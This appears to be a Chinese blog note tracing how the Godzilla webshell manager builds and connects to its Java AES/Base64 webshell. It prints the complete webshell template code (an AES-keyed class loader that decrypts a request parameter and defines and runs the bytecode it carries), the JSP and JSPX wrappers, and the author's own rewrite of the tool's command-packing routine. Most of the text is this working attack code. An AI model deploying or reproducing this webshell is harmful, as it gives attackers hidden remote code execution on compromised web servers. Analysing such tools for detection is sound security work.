前言
随手的简单记录,不算完整教程,主要作为大致了解哥斯拉的一个流程。
生成WebShell
对应功能点:


用JAVA_AES_BASE64为例子。
断点打在shells.cryptions.JavaAes.Generate#GenerateShellLoder,首先是加载WebShell的模版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) { byte[] data = null; try { InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin"); String globalCode = new String(functions.readInputStream(inputStream)); inputStream.close(); globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin"); String code = new String(functions.readInputStream(inputStream)); inputStream.close();
|
加载了两个模块 我们可以看看模版是长啥样的,根据我们的编码是base64,因此加载的模版是和base64GlobalCode.bin和base64Code.bin。
base64GlobalCode.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| String xc = "{secretKey}"; String pass = "{pass}"; String md5 = md5(pass + xc);
class X extends ClassLoader { public X(ClassLoader z) { super(z); } public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } }
public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; }
public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch (Exception e2) { } } return value; }
public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch (Exception e2) { } } return value; }
|
base64Code.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) {}
|
后续根据后缀选取用jsp模版还是jspx模版,如下:
1 2 3 4 5
| jsp: <%!{globalCode}%><%{code}%>
jspx: <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>
|
然后就是将shell模版中的globalCode和code替换为刚刚加载的java代码。
连接WebShell
可以断在core.ui.component.frame.ShellSetting#testButtonClick上。

updateTempShellEntity方法会先做一些初始化操作。

接着进入initShellOpertion方法,首先获取HTTP通信对象,然后获取payload模块和cryption模块。

payload模块是根据我们选取的payload的类型,去shells.payloads下找对应的Shell对象,比如JavaDynamicPayload对应的就是shells.payloads.java.JavaShell,从函数可以看到是个大马。

cryption模块同理,根据有效荷载和加密器两个属性确定要实例化的类,这里是shells.cryptions.JavaAes.JavaAesBase64。

然后初始化。

其中payload来自shells/payloads/java/assets/payload.classs。

这时会发送payload到服务器的马中让其加载。

发送的数据大概是下面的逻辑:
大马字节码->AES加密->Base64编码
因此服务端收到的数据:
payload数据->Base64解码->AES解密->加载字节码
如果这个过程没问题说明秘钥也没问题。相当于加密模块的初始化过程中,会想服务器发送加密大马,如果加载成功,加密模块的检查自然也没问题。因此this.cryptionModel.check()自然为true。
接下来this.payloadModel.test()会发送如下数据包

先base64解码,然后解密,解密后gz解压缩,得到数据。


上面的数据还是有一定的设计,我在写新项目时抽离了一下构造逻辑,下面供参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| @Override public byte[] evalFunc(String className, String funcName, HashMap parameter) { if (className != null && className.trim().length() > 0) { parameter.put("evalClassName", className); } parameter.put("methodName", funcName.getBytes()); int size = calculateHashMapSize(parameter); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(size); try { Iterator<String> keys = parameter.keySet().iterator(); while (keys.hasNext()) { String key = keys.next(); byte[] value = (byte[]) parameter.get(key); byteArrayOutputStream.write(key.getBytes(StandardCharsets.UTF_8)); byteArrayOutputStream.write(0x02); byteArrayOutputStream.write(SerializationUtil.intToBytes(value != null ? value.length : 0)); if (value != null) { byteArrayOutputStream.write(value); } } } catch (IOException e) { e.printStackTrace(); return new byte[0]; } byte[] byteArray = byteArrayOutputStream.toByteArray(); byteArray = GzipUtil.gzipE(byteArray); try { return byteArray; } catch (Exception e) { return new byte[0]; } }
public static int calculateHashMapSize(HashMap<String, byte[]> map) { AtomicInteger total = new AtomicInteger(); map.forEach((key, value) -> { int keyLength = key.getBytes(StandardCharsets.UTF_8).length; int valueLength = value != null ? value.length : 0; total.addAndGet(keyLength + 1 + 4 + valueLength); }); return total.get(); } public static byte[] intToBytes(int value) { byte[] src = new byte[4]; src[0] = (byte) (value & 0xFF); src[1] = (byte) (value >> 8 & 0xFF); src[2] = (byte) (value >> 16 & 0xFF); src[3] = (byte) (value >> 24 & 0xFF); return src; }
|
最后附上一张所做的流程图。
